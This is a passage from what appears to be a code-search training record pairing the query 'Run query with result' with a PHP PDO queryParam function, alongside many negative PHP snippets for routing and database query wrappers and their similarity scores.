function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "private function getRuleToMethodMapping() {\n return array(\n 'compare_vowels' => \"applyCompareVowels\",\n 'arrr_bacon' => \"applyArrrBacon\",\n \"bacon_arrr\" => \"applyBaconArrr\",\n \"pattern\" => \"applyPattern\",\n \"match_making\" => \"applyMatchMaking\"\n );\n }", "public function generateRoutes()\n {\n $routes = property_exists(app(), 'router')? app()->router->getRoutes() : app()->getRoutes();\n foreach ($routes as $route) {\n array_push($this->routes, [\n 'method' => $route['method'],\n 'uri' => $route['uri'],\n 'name' => $this->getRouteName($route),\n 'action' => $this->getRouteAction($route),\n 'middleware' => $this->getRouteMiddleware($route),\n 'map' => $this->getRouteMapTo($route)\n ]);\n }\n }", "protected function loadRoutes()\n {\n $this->app->call([$this, 'map']);\n }", "public function setRouting()\n {\n // Are query strings enabled in the config file? Normally CI doesn't utilize query strings\n // since URI segments are more search-engine friendly, but they can optionally be used.\n // If this feature is enabled, we will gather the directory/class/method a little differently\n $segments = array();\n $enableQueryStrings = Fly::getConfig('enableQueryStrings');\n $ct = Fly::getConfig('aliasController');\n $dt = Fly::getConfig('aliasModule');\n $ft = Fly::getConfig('aliasAction');\n\n if ($enableQueryStrings === true && isset($_GET[$ct])) {\n\n if (isset($_GET[$dt])) {\n $this->setModule(trim($this->uri->filterUri($_GET[$dt])));\n $segments[] = $this->fetchModule();\n }\n\n if (isset($_GET[$ct])) {\n $this->setClass(trim($this->uri->filterUri($_GET[$ct])));\n $segments[] = $this->fetchClass();\n }\n\n if (isset($_GET[$ft])) {\n $this->setMethod(trim($this->uri->filterUri($_GET[$ft])));\n $segments[] = $this->fetchMethod();\n }\n }\n\n // Load the routes.php file.\n Fly::app()->loadConfig('config.routes', true, true);\n $route = Fly::app()->getConfig('routes');\n $this->routes = (!isset($route) || !is_array($route)) ? array() : $route;\n unset($route);\n\n // Set the default controller so we can display it in the event\n // the URI doesn't correlated to a valid controller.\n $this->default_controller = (!isset($this->routes['defaultController']) || $this->routes['defaultController'] == '') ? false : $this->routes['defaultController'];\n\n // Were there any query string segments? If so, we'll validate them and bail out since we're done.\n if (count($segments) > 0) {\n $r = $this->validateRequest($segments);\n if ($r === null) {\n return array();\n }\n if (isset($r['segments'])) {\n return $r['segments'];\n }\n return array();\n }\n\n // Fetch the complete URI string\n $this->uri->fetchUriString();\n\n // Is there a URI string? If not, the default controller specified in the \"routes\" file will be shown.\n if ($this->uri->getUriString() == '') {\n return $this->setDefaultController();\n }\n\n // Do we need to remove the URL suffix?\n $this->uri->removeUrlSuffix();\n\n // Compile the segments into an array\n $this->uri->explodeSegments();\n\n // Parse any custom routing that may exist\n $this->parseRoutes();\n\n // Re-index the segment array so that it starts with 1 rather than 0\n $this->uri->reindexSegments();\n }", "private function mapAdminRoutes()\n {\n $this->name('backups.')\n ->prefix($this->config()->get('arcanesoft.backups.route.prefix', 'backups'))\n ->group(function () {\n Routes\\StatusesRoutes::register();\n });\n }", "protected function _parse_routes()\n {\n $uri = implode('/', $this->uri->segments);\n\n // Get HTTP verb\n $http_verb = isset($_SERVER['REQUEST_METHOD']) ? strtolower($_SERVER['REQUEST_METHOD']) : 'cli';\n\n // Is there a literal match? If so we're done\n if (isset($this->routes[$uri])) {\n // Check default routes format\n if (is_string($this->routes[$uri])) {\n $this->_set_request(explode('/', $this->routes[$uri]));\n return;\n }\n // Is there a matching http verb?\n elseif (is_array($this->routes[$uri]) && isset($this->routes[$uri][$http_verb])) {\n $this->_set_request(explode('/', $this->routes[$uri][$http_verb]));\n return;\n }\n }\n\n // decryption of module/controller/function name in admin\n if ($this->config->item('is_admin') == 1) {\n if ($this->config->item('ADMIN_URL_ENCRYPTION') == 'Y') {\n $uri_t = str_replace('admin/', '', $uri);\n if ($uri_t != \"\") {\n require_once(APPPATH . '/libraries/Ci_encrypt.php');\n $CI_Enc = new Ci_encrypt();\n $uri_t_decode = $CI_Enc->decrypt($uri_t, true);\n $CI_Enc->convertEncryptedVars();\n }\n $uri = 'admin/' . $uri_t_decode;\n }\n }\n // Loop through the route array looking for wildcards\n foreach ($this->routes as $key => $val) {\n // Check if route format is using http verb\n if (is_array($val)) {\n if (isset($val[$http_verb])) {\n $val = $val[$http_verb];\n } else {\n continue;\n }\n }\n\n // Convert wildcards to RegEx\n #$key = str_replace(array(':any', ':num'), array('[^/]+', '[0-9]+'), $key);\n $key = str_replace(':any', '.+', str_replace(':num', '[0-9]+', $key));\n\n // Does the RegEx match?\n if (preg_match('#^' . $key . '$#', $uri, $matches)) {\n // Are we using callbacks to process back-references?\n if (!is_string($val) && is_callable($val)) {\n // Remove the original string from the matches array.\n array_shift($matches);\n\n // Execute the callback using the values in matches as its parameters.\n $val = call_user_func_array($val, $matches);\n }\n // Are we using the default routing method for back-references?\n elseif (strpos($val, '$') !== FALSE && strpos($key, '(') !== FALSE) {\n $val = preg_replace('#^' . $key . '$#', $val, $uri);\n }\n\n $this->_set_request(explode('/', $val));\n return;\n }\n }\n\n // If we got this far it means we didn't encounter a\n // matching route so we'll set the site default route\n $this->_set_request(array_values($this->uri->segments));\n }", "public static function setRoute(string $uri = '') {\n\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__, $uri);\n\n\t\t$uri = self::_applyFilter(get_class(), __FUNCTION__, $uri, array('event' => 'args'));\n\t\t\n\t\tif (empty($uri)) {\n\t\t\t$uri = $_SERVER['REQUEST_URI'];\n\t\t}\n\n\t\tif (substr($uri, strlen($uri) - 1) === '/') {\n\t\t\t$uri = substr_replace($uri, '', strlen($uri) - 1);\n\t\t}\n\n\t\t$routes = array();\n\n\t\t$pos = @strpos($uri, '?');\n\n\t\tif ($pos !== false) {\n\t\t\t$uri = substr_replace($uri, '', $pos, strlen($uri));\n\t\t}\n\n\t\t$uri_parts = explode('/', $uri);\n\n\t\tforeach ($uri_parts as $key => $value) {\n\t\t\tif (empty($uri_parts[$key])) {\n\t\t\t\tunset($uri_parts[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$uri_parts = array_values($uri_parts);\n\t\t$uri = '/' . implode('/', $uri_parts);\n\t\t\n\t\t$assigned_route = array();\n\t\t$default_route = array();\n\t\t$assigned_route_options = array('listen'=> '*');\n\t\t$default_route_options = array();\n\t\t\n\t\t$method = (isset($_SERVER['REQUEST_METHOD'])) ? $method = $_SERVER['REQUEST_METHOD'] : null;\n\t\t\n\t\tforeach (self::$routes as $route) {\n\t\t\t\n\t\t\tif(self::_isAllowRequest($route['listen'], $method)) {\n\t\t\t\t\n\t\t\t\t$reRule = preg_replace(self::$default_rule_replace, self::$default_route_replace, $route['rule']);\n\t\t\t\t$reRule = str_replace('/', '\\/', $reRule);\n\t\n\t\t\t\tif (preg_match('/' . $reRule . '/', $uri, $matches)) {\n\t\n\t\t\t\t\t$uri_match = '';\n\t\t\t\t\tforeach ($matches as $key => $value) {\n\t\t\t\t\t\tif (!Validator::isInteger($key)) {\n\t\t\t\t\t\t\t$uri_match .= '/' . $value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}//end foreach\n\t\n\t\t\t\t\t$match_1 = str_replace($uri_match, '', $uri);\n\t\t\t\t\t$match_2 = str_replace($uri_match, '', $matches[0]);\n\t\n\t\t\t\t\tif ($match_1 === $match_2 && !empty($match_1)) {\n\t\t\t\t\t\t$assigned_route = $matches;\n\t\t\t\t\t\t$assigned_route_options = $route;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} else if ($match_1 === $match_2 && empty($match_1)) {\n\t\t\t\t\t\t$default_route = $matches;\n\t\t\t\t\t\t$default_route_options = $route;\n\t\t\t\t\t}\n\t\t\t\t}//end if prgrack mage\n\t\t\t}\n\t\t}//end first for\n\n\t\tif (!empty($assigned_route)) {\n\t\t\t$final_route = $assigned_route;\n\t\t\t$route_options = $assigned_route_options;\n\t\t\tif (!isset($final_route['route'])) {\n\t\t\t\t$final_route['route'] = $default_route;\n\t\t\t}\n\t\t\tif (!isset($route_options['route'])) {\n\t\t\t\t$route_options['route'] = $default_route;\n\t\t\t}\n\t\t} else {\n\t\t\t$final_route = $default_route;\n\t\t\t$route_options = $default_route_options;\n\t\t}\n\n\t\tself::$route_parameters = $final_route;\n\t\tself::$route_options = $route_options;\n\t\t\n\t\t$method = (isset($_SERVER['REQUEST_METHOD'])) ? $method = $_SERVER['REQUEST_METHOD'] : null;\n\t\t\n\t\tif(!isset($route_options['listen']) || (isset($route_options['listen']) && $route_options['listen'] == '*')) {\n\t\t\tself::$correct_request_method = true;\n\t\t} else {\n\t\t\t$listen = strtoupper($route_options['listen']);\n\t\t\t\n\t\t\tif(strpos($listen, $method )!== false) {\n\t\t\t\tself::$correct_request_method = true;\n\t\t\t} else {\n\t\t\t\tself::$correct_request_method = false;\n\t\t\t}\n\t\t}\n\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $final_route, $route_options);\n\n\t\tif(self::$correct_request_method) {\n\t\t\t\n\t\t\tif (!empty($route_options['activate_ssl']) && $route_options['activate_ssl'] && !self::isSecureConnection()) {\n\t\t\t\tself::activateSSL();\n\t\t\t} else if (!empty($route_options['deactivate_ssl']) && $route_options['deactivate_ssl'] && self::isSecureConnection()) {\n\t\t\t\tself::deactivateSSL();\n\t\t\t}\n\t\n\t\t\tif (!empty($route_options['redirect'])) {\n\t\t\t\tself::redirect($route_options['redirect']);\n\t\t\t}\n\t\t\t\n\t\t\tif (!empty($route_options['callback'])) {\n\t\t\t\treturn call_user_func_array($route_options['callback'], array(new Request()));\n\t\t\t}\n\t\t}\n\n\t}", "public function setRoutes($routes);", "public function populate_router() {\n if (Cache::has(APP_NAME.\"_Marmalade\\Router\\Routes\")) {\n $this->routes = Cache::get(APP_NAME.\"_Marmalade\\Router\\Routes\");\n } else {\n $this->build_route_map(Routes::load_routes());\n if (ENABLE_CACHE) {\n Cache::set(APP_NAME.\"_Marmalade\\Router\\Routes\", $this->routes);\n }\n }\n }", "public function register_routes() {\n\n\t\t\\add_filter( 'do_parse_request', array( $this, 'handle_routing' ) );\n\n\t}" ]
[ "0.6625227", "0.65296763", "0.6447837", "0.64295614", "0.64118856", "0.6324226", "0.63228256", "0.6319755", "0.6319755", "0.6319755", "0.6319755", "0.6319755", "0.6319755", "0.6319755", "0.6319755", "0.6316252", "0.63127804", "0.63106686", "0.62961125", "0.62771016", "0.62566894", "0.62549853", "0.62378", "0.623408", "0.623408", "0.61961704", "0.6179759", "0.6174611", "0.6172797", "0.61627585", "0.615951", "0.6117169", "0.6106769", "0.6087132", "0.60240054", "0.6016665", "0.59987766", "0.5993873", "0.5971473", "0.5967311", "0.5927623", "0.59160066", "0.587738", "0.58667237", "0.5838925", "0.5831016", "0.5829685", "0.5820083", "0.5806915", "0.58047575", "0.5801037", "0.57946235", "0.57893836", "0.5771295", "0.5768469", "0.5758816", "0.5745484", "0.5735719", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57283175", "0.57262224", "0.5723161", "0.5708974", "0.5696756", "0.56921893", "0.5675154", "0.5668746", "0.5661462", "0.5644065", "0.5639307", "0.5619372" ]
0.0
-1
Run query with result
public function queryParam($sql, $params = array()) { if ($this->_active == false) { $this->open(); } $stmt = self::$_pdo->prepare($sql); $stmt->execute($params); $result = array(); foreach ($stmt as $row) { $result[] = $row; } return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected abstract function executeQuery(Result $result);", "abstract public function query();", "public function query();", "public function query();", "public function query();", "public static function query();", "public function run(){\n $sql = $this->sql();\n return $this->query($sql,$this->args);\n }", "function query() {}", "public function execute()\n\t{\n\t\t// Use cached results if found (previous count() or other internal call)\n\t\tif($this->activeQueryResults) {\n\t\t\t$results = $this->activeQueryResults;\n\t\t} else {\n\t\t\tif($this->activeQuery instanceof phpDataMapper_Database_Query_Interface) {\n\t\t\t\t$results = $this->query($this->activeQuery->sql(), $this->activeQuery->getParameters());\n\t\t\t\t$this->activeQueryResults = $results;\n\t\t\t} else {\n\t\t\t\t$results = array();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $results;\n\t}", "public function runQuery(){\n \n $query = $this->getQuery();\n $pager = $this->getPager();\n $modify_result = $this->getModifyResult();\n\n // set default number of results so that we don't output NULL as \n // total_results if there are errors\n $pager->setTotalResults( 0 );\n $results = array();\n \n if( !$this->getResponse()->hasErrors() ){\n \t\n \t $count_query = clone $query;\n\t $pager->setTotalResults( $count_query->count() );\n \t $pager->decorateQuery( $query );\n \n\t if( $pager->getPageSize() > 0 ){\n\t $db_results = $query->find();\n\t foreach( $db_results as $model ){\n\t $result_object = array();\n\t $modify_result( $model, $result_object );\n\t $results[] = $result_object;\n\t }\n\t }\n\t \n }\n \n $api_response_body = $this->getResponse()->getResponseBody();\n $api_response_body->setBody($results);\n \n }", "public function executeQuery() {\r\n\t\t$query = $this->query;\r\n\t\t$query->matching($query->logicalAnd($this->queryConstraints));\r\n//$parser = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Persistence\\\\Generic\\\\Storage\\\\Typo3DbQueryParser'); \r\n//$queryParts = $parser->parseQuery($query); \r\n//\\TYPO3\\CMS\\Core\\Utility\\DebugUtility::debug($queryParts, 'Query Content');\r\n\t\t$queryResult = $query->execute()->toArray();\r\n\t\t$this->setSelectedPageUids($queryResult);\r\n\t\t$this->resetQuery(); \r\n\t\treturn $queryResult;\r\n\t}", "private function RunBasicQuery() {\n // Prepare the Query\n $this->stmt = $this->db->prepare($this->sql);\n \n // Run the Query in the Database\n $this->stmt->execute();\n \n // Store the Number Of Rows Returned\n $this->num_rows = $this->stmt->rowCount();\n \n // Work with the results (as an array of objects)\n $this->rs = $this->stmt->fetchAll();\n \n // Free the statement\n $this->stmt->closeCursor(); \n }", "abstract public function query(Query $query): Result;", "public function fetch($queryResult);", "protected function get_result_from_query(){\n\t\t$this ->open_connection();\n\t\t$result = $this -> conn -> query($this -> query);\n\t\twhile($this -> rows[] = $result ->fetch_assoc());\n\t\t$result -> close();\n\t\t$this -> close_connection();\n\t\tarray_pop($this -> rows); // Extraé y devuelve el último valor\n\t}", "private function execute() {\n $query = $this->db->query($this->sql);\n return $query->result();\n }", "public function execute()\n {\n \tif ( $this->cur_query != \"\" )\n \t{\n \t\t$res = $this->query( $this->cur_query );\n \t}\n \t\n \t$this->cur_query \t= \"\";\n \t$this->is_shutdown \t= false;\n\n \treturn $res;\n }", "function query(\\database $dbase){\n //\n //Get the sql string \n $sql=$this->to_str();\n //\n // Execute the $sql on columns to get the $result\n $dbase->query($sql);\n \n }", "public function query()\n\t{\n\t\t\n\t}", "public function query($query){ \n\t\tif($r = $this->mysqli->query($query)){\n\t\t\t$rows = array();\n\t\t\twhile(is_object($r) && $row = $r->fetch_assoc()){\n\t\t\t\t$rows[]= $row;\n\t\t\t}\n\t\t\t$result = new DB_result($rows, $query);\n\t\t\treturn $result;\n\t\t}\n\t\techo $this->mysqli->error . \"<br><br>\";\n\t\tdie(\"{$query}\");\n\n\t}", "private function executeQuery()\n {\n // $fresults = $this->qb->getQuery()->getResult(Query::HYDRATE_ARRAY);\n $query = $this->qb->getQuery();\n $query->setHydrationMode(Query::HYDRATE_ARRAY);\n $fresults = new Paginator($query, true);\n $output = array(\"aaData\" => array());\n\n foreach ($fresults as $item) {\n $output['aaData'][] = $item;\n }\n\n $outputHeader = array(\n \"sEcho\" => $this->sEcho,\n \"iTotalRecords\" => $this->getCountAllResults(),\n \"iTotalDisplayRecords\" => $this->getCountFilteredResults()\n );\n\n $this->response = array_merge($outputHeader, $output);\n\n return $this;\n }", "function run_query($query) {\r\n\t \t$db = new Database();\r\n\t \t$queryResult = $db->run_query_internal($query);\r\n\t \treturn mysqli_query($db->getConnection(),$query);\r\n\t }", "public function executeQuery($query) {\r\n\t\t\r\n\t\t$this->mdb2->connect();\r\n\t\t\t\t\r\n\t\t$ResultSet = $this->mdb2->query($query);\r\n\t\t\r\n\t\t$this->mdb2->disconnect();\r\n\t\t\r\n\t\tif (PEAR::isError($ResultSet)) {\r\n\t\t\tdie($ResultSet->getMessage() . \": \" . $query);\r\n\t\t}\r\n\t\t\r\n\t\treturn $ResultSet;\r\n\t\t\r\n\t}", "public function execute($query);", "public function execute() {\n\t\t$data = $this->getResultData();\n\t\t$this->printText($data[0]);\n\t}", "public function execute() {\n $this->query->filter($this->filter);\n $data = $this->query->execute();\n $results = $data['results'];\n\n if (!$results) {\n return;\n }\n\n return entity_load($this->EntityType, array_keys($results));\n }", "function query() {\n }", "public function query()\n {\n }", "public function query()\n {\n }", "public static function query()\n {\n }", "function executeQuery($query);", "function query($query) {\n\t\treturn $this->dbcr_query( $query, true );\n\t}", "public function executeQuery($q){ $this->makeConnection();\n //check for SQL injection\n\n //execute query\n $results = $this->connection->query($q);\n\n return $results;\n\n }", "public function query($query){\n return $this->connection->query($query);\n }", "public function get_query_result()\n\t{\n\t\t$sql = \"select * from test_db\";\n\t\t$query = $this->db->query($sql);\n\n\t\t//Complete array result\n\t\t$result = $query->result_array();\n\n\t\t//result of first row\n\t\t$firsts_row = $query->first_row();\n\t}", "public function run()\n {\n $marks = [];\n\n foreach ($this->data as $field => $value) {\n $marks[\":{$field}\"] = $value;\n }\n\n return $this->entity->getDb()->execute((string) $this, $marks);\n }", "function customQuery($query) \t{\n $res = $this->execute($query);\n\t\t return $res;\n\t}", "public function getResults()\n {\n return $this->execute();\n }", "private function query() {\n return ApplicationSql::query($this->_select, $this->_table, $this->_join, $this->_where, $this->_order, $this->_group, $this->_limit, $this->_offset);\n }", "private function executeQuery() {\n\t\t$recordset = $this->getConnection()->execute( $this );\n\t\t\n\t\tif( $recordset === false ) {\n\t\t\t$this->_recordset = array();\n\t\t} else {\n\t\t\t$this->_recordset = $recordset;\n\t\t}\n\n\t\t$this->_currentRow = 0;\n\t\t$this->isDirty( false );\n\t}", "public function query($query){\n\t\t$this->lastQuery = $query;\n\t\treturn $this->connection->query($query);\n\t}", "private function runQuery($query) {\r\n\t\treturn mysql_query($query, $this->sql);\r\n\t}", "public function get_results() {\n\t\t//Begin actual functon\n\t\t$arg_check = $this->query_arg_check();\n\t\t\n\t\t//Check for matching number of arguments in query and arg array\n\t\tif (!$arg_check) {\n\t\t\t$this->except( MYSQLI_ERR_ARG_NUM_MISMATCH , $this->QUERY);\n\t\t} else {\n\t\t\t//Begin running the query\n\t\t\tif ($stmt = $this->connection->prepare($this->QUERY)) {\n\t\t\t\t\n\t\t\t\t$bind_values = array();\n\t\t\t\t$bind_types = '';\n\t\t\t\t$i=0;\n\t\t\n\t\t\t\t//NEW::change made to be able to run queries without having to pass arguments\n\t\t\t\tif(is_array($this->QUERY_ARGS))\n\t\t\t\t{\n\t\t\t\t\tforeach ($this->QUERY_ARGS as $id=>$value) \n\t\t\t\t\t{\n\t\t\t\t\t\t//NEW::change made to be able to run queries without having to pass arguments\n\t\t\t\t\t\tif ($value)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$bind_values[$i] = $value['value'];\n\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t$bind_types .= $value['type'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tcall_user_func_array('mysqli_stmt_bind_param',\n\t\t\t\t\t\t\t\t\t array_merge ( array($stmt,$bind_types),\n\t\t\t\t\t\t\t\t\t $this->ref_values($bind_values)\n\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t \n\t\t\t\t$count = $stmt->execute();\n\t\t\t\t\n\t\t\t\t//Get sql result based on query type\n\t\t\t\tswitch ($this->QUERY_TYPE) {\n\t\t\t\t\tcase 'SELECT';\n\t\t\t\t\t\t$result_class_object = $this->fetch_data($stmt);\n\t\t\t\t\t\t$result = $this->std_class_object_to_array($result_class_object);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'INSERT';\n\t\t\t\t\t\t$result = $stmt->insert_id;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault; // UPDATE and others\n\t\t\t\t\t\t$result = $count;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$stmt->close();\n\t\t\t\t\n\t\t\t\treturn $result;\n\t\t\t}\n\t\t}\n\t}", "public function runQuery(\\Peyote\\Query $query)\n\t{\n\t\treturn $this->run($query->compile(), $query->getParams());\n\t}", "public function ejecutar($query)\n {\n # se le asigna a la variable result la consulta \n $result = $this->my->query($query);\n # con return se devuelve el resultado de la variable\n return $result;\n }", "protected function executeQueryShowResults($sql){\n\t\t$log = $this->getLoger();\n\n\t\t$result = false;\n\t\t$log->log(\"Executing Request :\" . PHP_EOL . $sql, 6);\n\t\t$result = $this->getConnection()->query($sql);\n\n\t\tif (!$result) {\n\t\t\t$log->log(\"- Records changed: None\" . PHP_EOL, 6);\n\t\t} else {\n\t\t\t$log->log($result->rowCount().\" rows affected by the execution of the last request\", 6);\n\t\t}\n\n\t\treturn $this;\n\t}", "function executequery($result){\t\n\t\twhile($rowsf = mysqli_fetch_assoc($result)){\n\t\t\t$results[] = $rowsf;\n\t\t}\t\n\t\treturn $results;\n\t}", "protected function execute_single_query(){\n\t\t$this -> open_connection();\n\t\t$this -> conn -> query($this -> query);\n\t\t$this -> close_connection();\n\t}", "public function runCustomQuery($query, Database_Config $databaseConfig = NULL);", "private function execute () {\n if($this->_query->execute()) {\n\n // It has been succesful so add the output to $this->results and set it as an object\n $this->_results = $this->_query->fetchAll(PDO::FETCH_OBJ);\n\n // Set the affected row count to $this->_count\n $this->_count = $this->_query->rowCount();\n\n } else {\n\n // The query failed so set $this->_error to true. MORE WORK NEEDED HERE\n $this->_error = true;\n\n }\n }", "public function query($query);", "public function query($query);", "public function query($query);", "function db_run_query( $statement ) {\n\n $this->pm_clear_dataset();\n $this->pm_store_statement( $statement );\n $this->pm_debug_statement( $statement );\n if( ! $this->query_is_select ) $this->pm_write_logfile( $statement );\n\n $this->dataset_obj = $this->connection->query( $statement );\n $this->pm_die_if_error( 'dataset_obj' );\n\n if( is_object( $this->dataset_obj )) # updates/inserts/deletes seem to return an integer not an object\n $this->rowcount = $this->dataset_obj->numrows();\n else\n $this->rowcount = ROWCOUNT_NOT_SET;\n\n return $this->dataset_obj;\n }", "function runQuery()\n\t{\n\t\treturn $this->query;\n\t}", "function run($query){\n $q = $this->handle->prepare($query);\n if($q === false)\n return $this->handle->errorInfo();\n $r = $q->execute();\n if($r === false)\n return [$q->errorCode(), 'Erro ao executar query: '.$q->errorInfo()[2].\"<br/>\\r\\n Query: \".$query];\n return $r;\n }", "protected function get_results_from_query() {\n\t\t\t\t\n\t\t\t\t$this->open_connection();\n\t\t\t\t\n\t\t\t\tif (!$this->conn) {\n\t\t\t\t\tthrow new Excepcion('No se pudo Conectar a la BD: ' . mysql_error());\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\t\t\t\n\t\t\t\t\t$result = $this->conn->query($this->query);\n\t\t\t\t\n\t\t\t\t\t\tif (!$result) {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tthrow new Excepcion('No se pudo ejecutar la consulta a la BD: ' . mysql_error());\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\treturn $result;\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$result->close();\t\t\t\t\n\t\t\t\t$this->close_connection();\t\t\n\t\t\t\n\t\t}", "abstract function executeQuery($cons);", "public function query($sql) {\n $this->query_result = pg_query($sql);\n return $this->query_result;\n }", "public function query($query)\n {\n $result = $this->db->query($query);\n $result->execute();\n return $result;\n }", "private function exeQuery($query, $retureType = true){ // method exeQuery body start\n\t\t$dbResult \t\t= $this->query($query);\n\t\t\n\t\tif($dbResult){\n\t\t\tif($retureType){\n\t\t\t\t\n\t\t\t\t$allRecords\t\t\t= array();\n\t\t\t\t\n\t\t\t\t// Fetching array from query result\n\t\t\t\twhile($row = $dbResult->fetch_array(MYSQLI_ASSOC)){\n\t\t\t\t\t$allRecords[] \t= $row;\n\t\t\t\t}\n\t\t\t\treturn $allRecords;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t// Fetching number of rows from query result\n\t\t\t\t$result \t\t= $dbResult->fetch_array($dbResult);\n\t\t\t\treturn $result;\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\techo \"Error: query is not working\";exit;\n\t\t}\n\t\t \n\t}", "protected function execute()\n{\n\t$this->result = $this->db->query($this->getSql());\n\t$this->position = 0;\n\t$this->data = array();\n\n\treturn $this->result;\n}", "public function executeQuery($query){\n\t\n $resultQuery = mysqli_query($this->link, $query) or die (\"Requete => PROBLEME\");\n return $resultQuery;\n }", "public function ExecuteQuery($query){\n\t\treturn $this->db_con->query($query);\n\t}", "public function fetchResult();", "abstract public function query($sql);", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "public function execute();", "protected function dbquery($query) {\r\n\r\n $this->query_result = $this->connection->query($query);\r\n\r\n return $this->query_result;\r\n }", "protected abstract function executeQuery($query);", "public static function executeQuery(Sql $db, $query){\n $statement = $db->prepareStatementForSqlObject($query);\n $rs = new ResultSet();\n return $rs->initialize($statement->execute())->buffer();\n }", "public function getResultById($result_id);", "abstract protected function query(Export $export);", "public function execute()\n\t{\n\t\t$this->query->setFetchMode($this->fetchMode);\n\n\t\t$this->query->execute($this->params);\t\n\n\t\t// Fetch the data in the appropriate format\n\t\tswitch ($this->fetchMethod) {\n\t\t\tcase 'row':\n\t\t\t\t$this->result = $this->query->fetch();\n\t\t\t\tbreak;\n\t\t\tcase 'field':\n\t\t\t\t$this->result = $this->query->fetchColumn();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->result = $this->query->fetchAll();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public static function query( $query ) {\n global $edb;\n $conn = $edb->connect();\n try {\n $query = $conn->query($query);\n do {\n if ($query->columnCount() > 0) {\n $results = $query->fetchAll(PDO::FETCH_OBJ);\n }\n }\n while ($query->nextRowset());\n\n $conn = null;\n\n return $results;\n }\n catch (PDOException $e) {\n $conn = null;\n die ('Query failed: ' . $e->getMessage());\n }\n }", "public function executeSQL($query){\n\t\t$this->lastQuery = $query;\t\t\n\t\tif($this->result = mysqli_query( $this->databaseLink,$query)){\n\t\t\tif (gettype($this->result) === 'object') {\n\t\t\t\t$this->records = @mysqli_num_rows($this->result);\n\t\t\t\t$this->affected = @mysqli_affected_rows($this->databaseLink);\n\t\t\t} else {\n\t\t\t\t$this->records = 0;\n\t\t\t\t$this->affected = 0;\n\t\t\t}\n\n\t\t\tif($this->records > 0){\n\t\t\t\t$this->arrayResults();\n\t\t\t\treturn $this->arrayedResult;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t}else{\n\t\t\t$this->lastError = mysql_error($this->databaseLink);\n\t\t\techo $this->lastError;\n\t\t\treturn false;\n\t\t}\n\t}", "public function query($query) {\n\t\t\t$this->sqlError = false;\n\t\t\t$this->sqlErrorNumber = false;\n\t\t\t$this->foundRows = false;\n\t\t\t$this->rowCount = false;\n\t\t\t$this->insertID = false;\n\t\t\tif (substr($query, -1, 1) != ';') $query .= ';';\n\t\t\t$result = mysql_query($query);\n\t\t\tif (mysql_error()) {\n\t\t\t\t$this->sqlError = mysql_error();\n\t\t\t\t$this->sqlErrorNumber = mysql_errno();\n\t\t\t\ttrigger_error('Query Failed: '.$this->sqlError.' <===> Query: '.htmlentities($query), E_USER_ERROR);\n\t\t\t\t$resultObj = new result(false, $this->rowCount, $this->foundRows, $this->insertID, $this->sqlError, $this->sqlErrorNumber);\n\t\t\t\treturn $resultObj;\n\t\t\t} else {\n\t\t\t\t$this->rowCount = strpos($query, 'SELECT') === 0 ? mysql_num_rows($result) : mysql_affected_rows();\n\t\t\t\tif (strpos($query, 'INSERT') === 0) $this->insertID = mysql_insert_id();\n\t\t\t\tif (strpos($query, 'SQL_CALC_FOUND_ROWS') !== false) {\n\t\t\t\t\t$this->foundRows = mysql_result(mysql_query(\"SELECT FOUND_ROWS()\"), 0);\n\t\t\t\t} else {\n\t\t\t\t\t$this->foundRows = $this->rowCount;\n\t\t\t\t}\n\t\t\t\tdebug(htmlentities($query).'<br>Found Rows: '.$this->foundRows.' | Row Count: '.$this->rowCount.' | Insert ID: '.$this->insertID, 'Query Executed', 'echo', 'sql');\n\t\t\t\t$resultObj = new result($result, $this->rowCount, $this->foundRows, $this->insertID, $this->sqlError, $this->sqlErrorNumber);\n\t\t\t\treturn $resultObj;\n\t\t\t}\n\t\t}", "public function execute()\n {\n return $this->riak->execute($this);\n 